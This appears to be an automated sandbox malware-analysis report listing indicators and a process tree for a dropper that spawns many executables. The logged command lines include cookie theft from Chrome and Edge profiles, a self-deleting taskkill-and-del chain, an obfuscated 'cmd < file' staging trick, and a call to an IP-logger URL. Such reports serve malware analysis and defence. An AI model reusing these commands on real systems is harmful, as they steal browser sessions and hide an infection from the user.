pid Process 2892 sonia_2.exe 2892 sonia_2.exe 4204 rundll32.exe 4204 rundll32.exe 3816 svchost.exe 3816 svchost.exe 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 2492 Process not Found 4196 jfiag3g_gg.exe 4196 jfiag3g_gg.exe 2492 Process not Found 2492 Process not Found 2492 Process not Found -
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 2492 Process not Found -
Suspicious behavior: MapViewOfSection 8 IoCs
pid Process 2892 sonia_2.exe 2320 MicrosoftEdgeCP.exe 2320 MicrosoftEdgeCP.exe 3868 hvwbjur 6084 Sensitive.exe.com 6128 Acre.exe.com 4180 hvwbjur 5696 hvwbjur -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2416 sonia_4.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 3816 svchost.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeDebugPrivilege 4204 rundll32.exe Token: SeShutdownPrivilege 2492 Process not Found Token: SeCreatePagefilePrivilege 2492 Process not Found Token: SeShutdownPrivilege 2492 Process not Found Token: SeCreatePagefilePrivilege 2492 Process not Found Token: SeShutdownPrivilege 2492 Process not Found Token: SeCreatePagefilePrivilege 2492 Process not Found Token: SeShutdownPrivilege 2492 Process not Found Token: SeCreatePagefilePrivilege 2492 Process not Found Token: SeAuditPrivilege 2240 svchost.exe Token: SeAuditPrivilege 2240 svchost.exe Token: SeAuditPrivilege 2240 svchost.exe Token: SeShutdownPrivilege 2492 Process not Found Token: SeCreatePagefilePrivilege 2492 Process not Found Token: SeShutdownPrivilege 2492 Process not Found Token: SeCreatePagefilePrivilege 2492 Process not Found Token: SeShutdownPrivilege 2492 Process not Found Token: SeCreatePagefilePrivilege 2492 Process not Found Token: SeShutdownPrivilege 2492 Process not Found Token: SeCreatePagefilePrivilege 2492 Process not Found Token: SeCreateTokenPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeAssignPrimaryTokenPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeLockMemoryPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeIncreaseQuotaPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeMachineAccountPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeTcbPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeSecurityPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeTakeOwnershipPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeLoadDriverPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeSystemProfilePrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeSystemtimePrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeProfSingleProcessPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeIncBasePriorityPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeCreatePagefilePrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeCreatePermanentPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeBackupPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeRestorePrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeShutdownPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeDebugPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeAuditPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeSystemEnvironmentPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeChangeNotifyPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeRemoteShutdownPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeUndockPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeSyncAgentPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeEnableDelegationPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeManageVolumePrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeImpersonatePrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: SeCreateGlobalPrivilege 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe Token: 31 4688 IDL7yVnLo_BuQRIYweenz5Mb.exe -
Suspicious use of FindShellTrayWindow 3 IoCs
pid Process 2492 Process not Found 2492 Process not Found 2492 Process not Found -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 2492 Process not Found -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 2492 Process not Found 5496 MicrosoftEdge.exe 2320 MicrosoftEdgeCP.exe 2320 MicrosoftEdgeCP.exe -
Suspicious use of UnmapMainImage 1 IoCs
pid Process 2492 Process not Found -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3376 wrote to memory of 2724 3376 8 (20).exe 75 PID 3376 wrote to memory of 2724 3376 8 (20).exe 75 PID 3376 wrote to memory of 2724 3376 8 (20).exe 75 PID 2724 wrote to memory of 4012 2724 setup_installer.exe 76 PID 2724 wrote to memory of 4012 2724 setup_installer.exe 76 PID 2724 wrote to memory of 4012 2724 setup_installer.exe 76 PID 4012 wrote to memory of 3940 4012 setup_install.exe 91 PID 4012 wrote to memory of 3940 4012 setup_install.exe 91 PID 4012 wrote to memory of 3940 4012 setup_install.exe 91 PID 4012 wrote to memory of 1696 4012 setup_install.exe 90 PID 4012 wrote to memory of 1696 4012 setup_install.exe 90 PID 4012 wrote to memory of 1696 4012 setup_install.exe 90 PID 4012 wrote to memory of 4040 4012 setup_install.exe 79 PID 4012 wrote to memory of 4040 4012 setup_install.exe 79 PID 4012 wrote to memory of 4040 4012 setup_install.exe 79 PID 4012 wrote to memory of 3588 4012 setup_install.exe 80 PID 4012 wrote to memory of 3588 4012 setup_install.exe 80 PID 4012 wrote to memory of 3588 4012 setup_install.exe 80 PID 4012 wrote to memory of 3288 4012 setup_install.exe 81 PID 4012 wrote to memory of 3288 4012 setup_install.exe 81 PID 4012 wrote to memory of 3288 4012 setup_install.exe 81 PID 4012 wrote to memory of 1160 4012 setup_install.exe 88 PID 4012 wrote to memory of 1160 4012 setup_install.exe 88 PID 4012 wrote to memory of 1160 4012 setup_install.exe 88 PID 4012 wrote to memory of 816 4012 setup_install.exe 82 PID 4012 wrote to memory of 816 4012 setup_install.exe 82 PID 4012 wrote to memory of 816 4012 setup_install.exe 82 PID 3940 wrote to memory of 3872 3940 cmd.exe 83 PID 3940 wrote to memory of 3872 3940 cmd.exe 83 PID 3940 wrote to memory of 3872 3940 cmd.exe 83 PID 3588 wrote to memory of 2416 3588 cmd.exe 84 PID 3588 wrote to memory of 2416 3588 cmd.exe 84 PID 1696 wrote to memory of 2892 1696 cmd.exe 85 PID 1696 wrote to memory of 2892 1696 cmd.exe 85 PID 1696 wrote to memory of 2892 1696 cmd.exe 85 PID 4040 wrote to memory of 940 4040 cmd.exe 86 PID 4040 wrote to memory of 940 4040 cmd.exe 86 PID 4040 wrote to memory of 940 4040 cmd.exe 86 PID 3288 wrote to memory of 2640 3288 cmd.exe 87 PID 3288 wrote to memory of 2640 3288 cmd.exe 87 PID 3288 wrote to memory of 2640 3288 cmd.exe 87 PID 1160 wrote to memory of 2732 1160 cmd.exe 89 PID 1160 wrote to memory of 2732 1160 cmd.exe 89 PID 1160 wrote to memory of 2732 1160 cmd.exe 89 PID 3872 wrote to memory of 3616 3872 sonia_1.exe 92 PID 3872 wrote to memory of 3616 3872 sonia_1.exe 92 PID 3872 wrote to memory of 3616 3872 sonia_1.exe 92 PID 2732 wrote to memory of 3656 2732 sonia_6.exe 94 PID 2732 wrote to memory of 3656 2732 sonia_6.exe 94 PID 2732 wrote to memory of 3656 2732 sonia_6.exe 94 PID 4180 wrote to memory of 4204 4180 rUNdlL32.eXe 98 PID 4180 wrote to memory of 4204 4180 rUNdlL32.eXe 98 PID 4180 wrote to memory of 4204 4180 rUNdlL32.eXe 98 PID 2416 wrote to memory of 4220 2416 Process not Found 152 PID 2416 wrote to memory of 4220 2416 Process not Found 152 PID 2416 wrote to memory of 4220 2416 Process not Found 152 PID 4204 wrote to memory of 3816 4204 rundll32.exe 71 PID 4204 wrote to memory of 2704 4204 rundll32.exe 23 PID 3816 wrote to memory of 4320 3816 svchost.exe 99 PID 3816 wrote to memory of 4320 3816 svchost.exe 99 PID 3816 wrote to memory of 4320 3816 svchost.exe 99 PID 4204 wrote to memory of 1004 4204 rundll32.exe 61 PID 4204 wrote to memory of 2260 4204 rundll32.exe 31 PID 4204 wrote to memory of 2240 4204 rundll32.exe 32
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵PID:2704
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵PID:2436
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵PID:2420
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
- Modifies registry class
PID:2260
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2240
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵PID:1880
-
C:\Users\Admin\AppData\Local\Temp\8 (20).exe"C:\Users\Admin\AppData\Local\Temp\8 (20).exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3376 -
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2724 -
C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\setup_install.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4012 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_3.exe4⤵
- Suspicious use of WriteProcessMemory
PID:4040 -
C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\sonia_3.exesonia_3.exe5⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
PID:940 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im sonia_3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\sonia_3.exe" & del C:\ProgramData\*.dll & exit6⤵PID:5048
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV17⤵
- Executes dropped EXE
PID:4220
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im sonia_3.exe /f7⤵
- Kills process with taskkill
PID:5248
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 67⤵
- Delays execution with timeout.exe
PID:6004
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_4.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3588 -
C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\sonia_4.exesonia_4.exe5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2416 -
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"6⤵PID:4220
-
C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"7⤵
- Executes dropped EXE
PID:4636 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
PID:4200
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵
- Executes dropped EXE
PID:3184
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵PID:2376
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt8⤵PID:5972
-
-
-
C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe"C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4780 -
C:\Users\Admin\AppData\Local\Temp\OLKbrowser.exeC:\Users\Admin\AppData\Local\Temp\OLKbrowser.exe8⤵
- Executes dropped EXE
PID:2140
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup 326.exe"C:\Users\Admin\AppData\Local\Temp\setup 326.exe"7⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:4904 -
C:\Windows\winnetdriv.exe"C:\Users\Admin\AppData\Local\Temp\setup 326.exe" 1626797872 08⤵
- Executes dropped EXE
PID:4104
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"7⤵
- Executes dropped EXE
PID:3716 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3716 -s 7688⤵
- Drops file in Windows directory
- Program crash
PID:2332
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3716 -s 8808⤵
- Program crash
PID:4928
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3716 -s 9448⤵
- Program crash
PID:1248
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3716 -s 9248⤵
- Program crash
PID:4268
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3716 -s 9648⤵
- Program crash
PID:4376
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3716 -s 9688⤵
- Program crash
PID:4456
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3716 -s 10648⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:4376
-
-
-
C:\Users\Admin\AppData\Local\Temp\zhangd.exe"C:\Users\Admin\AppData\Local\Temp\zhangd.exe"7⤵
- Executes dropped EXE
PID:3584 -
C:\Users\Admin\AppData\Local\Temp\zhangd.exe"C:\Users\Admin\AppData\Local\Temp\zhangd.exe" -a8⤵
- Executes dropped EXE
PID:1660
-
-
-
C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe"C:\Users\Admin\AppData\Local\Temp\Chrome Update.exe"7⤵
- Executes dropped EXE
PID:4352 -
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 4352 -s 10048⤵
- Program crash
PID:1920
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sonia_5.exe4⤵
- Suspicious use of WriteProcessMemory
PID:3288 -
C:\Users\Admin\AppData\Local\Temp\7zS4AAD0904\sonia_5.exesonia_5.exe5⤵
- Executes dropped EXE
- Checks computer location settings
PID:2640 -
C:\Users\Admin\Documents\bM7HFuVBeXBgIIxW7VIcRDBX.exe"C:\Users\Admin\Documents\bM7HFuVBeXBgIIxW7VIcRDBX.exe"6⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4908 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\EverestSoftrade\TonerRecover\log.bat" "7⤵PID:5284
-
C:\Windows\SysWOW64\explorer.exeexplorer https://iplogger.org/2LBCU68⤵PID:5712
-
-
C:\Windows\SysWOW64\regedit.exeregedit /s adj.reg8⤵
- Runs .reg file with regedit
PID:5992
-
-
C:\Windows\SysWOW64\regedit.exeregedit /s adj2.reg8⤵
- Runs .reg file with regedit
PID:5032
-
-
-
C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"C:\Program Files (x86)\EverestSoftrade\TonerRecover\Updater.exe"7⤵
- Executes dropped EXE
PID:5532
-
-
-
C:\Users\Admin\Documents\hodijvwrx2dil81My4IauFP0.exe"C:\Users\Admin\Documents\hodijvwrx2dil81My4IauFP0.exe"6⤵
- Executes dropped EXE
PID:4416 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Bagnava.xltm7⤵PID:5388
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:5676
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^IPAFDLOJiKVQTxFiLgMiLlaMrCAuVnAKdUxdXbtsjyJWSQEpztbDlGmbvNCwlINIlkmYZfphlcUGAvUjYsMQqXmJxXUpUru$" Sia.xltm9⤵PID:4984
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.comSensitive.exe.com p9⤵
- Executes dropped EXE
PID:5980 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\Sensitive.exe.com p10⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:6084 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exeC:\Users\Admin\AppData\Local\Temp\7ZipSfx.001\RegAsm.exe11⤵PID:824
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 309⤵
- Runs ping.exe
PID:6036
-
-
-
-
-
C:\Users\Admin\Documents\V3XcRkvR9qH9jKPmhOMUR4YJ.exe"C:\Users\Admin\Documents\V3XcRkvR9qH9jKPmhOMUR4YJ.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5092 -
C:\Users\Admin\Documents\V3XcRkvR9qH9jKPmhOMUR4YJ.exeC:\Users\Admin\Documents\V3XcRkvR9qH9jKPmhOMUR4YJ.exe7⤵
- Executes dropped EXE
PID:4440
-
-
-
C:\Users\Admin\Documents\G6jgJczItuhndR5MbUJjp1ng.exe"C:\Users\Admin\Documents\G6jgJczItuhndR5MbUJjp1ng.exe"6⤵
- Executes dropped EXE
PID:4732
-
-
C:\Users\Admin\Documents\H6COt0Dx789LeLFRal0WbA52.exe"C:\Users\Admin\Documents\H6COt0Dx789LeLFRal0WbA52.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4260 -
C:\Users\Admin\Documents\H6COt0Dx789LeLFRal0WbA52.exeC:\Users\Admin\Documents\H6COt0Dx789LeLFRal0WbA52.exe7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4300 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im H6COt0Dx789LeLFRal0WbA52.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\H6COt0Dx789LeLFRal0WbA52.exe" & del C:\ProgramData\*.dll & exit8⤵PID:2208
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im H6COt0Dx789LeLFRal0WbA52.exe /f9⤵
- Kills process with taskkill
PID:5340
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Executes dropped EXE
- Delays execution with timeout.exe
PID:3828
-
-
-
-
-
C:\Users\Admin\Documents\0WLMI7KTAm308Z3mXq_xgAx0.exe"C:\Users\Admin\Documents\0WLMI7KTAm308Z3mXq_xgAx0.exe"6⤵PID:1420
-
C:\Users\Admin\Documents\0WLMI7KTAm308Z3mXq_xgAx0.exe"C:\Users\Admin\Documents\0WLMI7KTAm308Z3mXq_xgAx0.exe"7⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:6324 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6324 -s 12408⤵
- Program crash
PID:6380
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1420 -s 8407⤵
- Program crash
PID:6336
-
-
-
C:\Users\Admin\Documents\zB2olOP6RrSDGII77EQYTVPP.exe"C:\Users\Admin\Documents\zB2olOP6RrSDGII77EQYTVPP.exe"6⤵
- Executes dropped EXE
- Checks whether UAC is enabled
PID:364
-
-
C:\Users\Admin\Documents\XzzNSCwSeDqbgKZEF09ESO9H.exe"C:\Users\Admin\Documents\XzzNSCwSeDqbgKZEF09ESO9H.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2724
-
-
C:\Users\Admin\Documents\Ja7XBhjczCMhR4EBIbRicHGs.exe"C:\Users\Admin\Documents\Ja7XBhjczCMhR4EBIbRicHGs.exe"6⤵
- Executes dropped EXE
PID:2368 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd < Sorrisi.tmp7⤵PID:5356
-
C:\Windows\SysWOW64\cmd.execmd8⤵PID:5520
-
C:\Windows\SysWOW64\findstr.exefindstr /V /R "^yNFefWPitqXbQXexaaaweTJMeyyzoIKOZcrabptodYbHejNKUaJtRjoktSZpRcZcdpbxUJWpgpLtcwKPaxnPYFWNhRgFpV$" Sapete.tmp9⤵PID:5756
-
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comAcre.exe.com k9⤵
- Executes dropped EXE
PID:4836 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k10⤵
- Executes dropped EXE
PID:5764 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.comC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Acre.exe.com k11⤵
- Executes dropped EXE
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:6128 -
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exeC:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\RegAsm.exe12⤵PID:7064
-
-
-
-
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 309⤵
- Runs ping.exe
PID:5564
-
-
-
-
-
C:\Users\Admin\Documents\vvzGgp7doM8KcL96NAHgqIBQ.exe"C:\Users\Admin\Documents\vvzGgp7doM8KcL96NAHgqIBQ.exe"6⤵
- Executes dropped EXE
PID:5052 -
C:\Users\Admin\Documents\vvzGgp7doM8KcL96NAHgqIBQ.exe"C:\Users\Admin\Documents\vvzGgp7doM8KcL96NAHgqIBQ.exe" -a7⤵
- Executes dropped EXE
PID:5540
-
-
-
C:\Users\Admin\Documents\3CvDXwqNH1sx8rm4D3GHt1uC.exe"C:\Users\Admin\Documents\3CvDXwqNH1sx8rm4D3GHt1uC.exe"6⤵
- Executes dropped EXE
PID:4480 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 3CvDXwqNH1sx8rm4D3GHt1uC.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\3CvDXwqNH1sx8rm4D3GHt1uC.exe" & del C:\ProgramData\*.dll & exit7⤵PID:5596
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 3CvDXwqNH1sx8rm4D3GHt1uC.exe /f8⤵
- Kills process with taskkill
PID:5800
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 68⤵
- Delays execution with timeout.exe
PID:1996
-
-
-
-
C:\Users\Admin\Documents\IDL7yVnLo_BuQRIYweenz5Mb.exe"C:\Users\Admin\Documents\IDL7yVnLo_BuQRIYweenz5Mb.exe"6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4688 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵PID:5816
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
PID:5188
-
-
-
-
C:\Users\Admin\Documents\xyhrg_9JKQS33da0UISQflr8.exe"C:\Users\Admin\Documents\xyhrg_9JKQS33da0UISQflr8.exe"6⤵
- Executes dropped EXE
PID:5112 -
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:5224
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Profile 2\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:3828
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:2268
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵
- Executes dropped EXE
PID:5336
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:6460
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:6428
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:5092
-
-
C:\Users\Admin\AppData\Local\Temp\22222.exeC:\Users\Admin\AppData\Local\Temp\22222.exe /CookiesFile "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Profile 1\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt7⤵PID:3308
-
-
-
C:\Users\Admin\Documents\6e6XL0_DLwr5_NMHnDBJm4lw.exe"C:\Users\Admin\Documents\6e6XL0_DLwr5_NMHnDBJm4lw.exe"6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:2500 -
C:\Users\Admin\Documents\6e6XL0_DLwr5_NMHnDBJm4lw.exeC:\Users\Admin\Documents\6e6XL0_DLwr5_NMHnDBJm4lw.exe7⤵
- Executes dropped EXE
PID:4188
-
-
-
C:\Users\Admin\Documents\qSU1Z_eFYSsEyJ2WvLC9qO6c.exe"C:\Users\Admin\Documents\qSU1Z_eFYSsEyJ2WvLC9qO6c.exe"6⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4024 -
C:\Users\Admin\AppData\Roaming\1234.exeC:\Users\Admin\AppData\Roaming\1234.exe 12347⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:4852 -
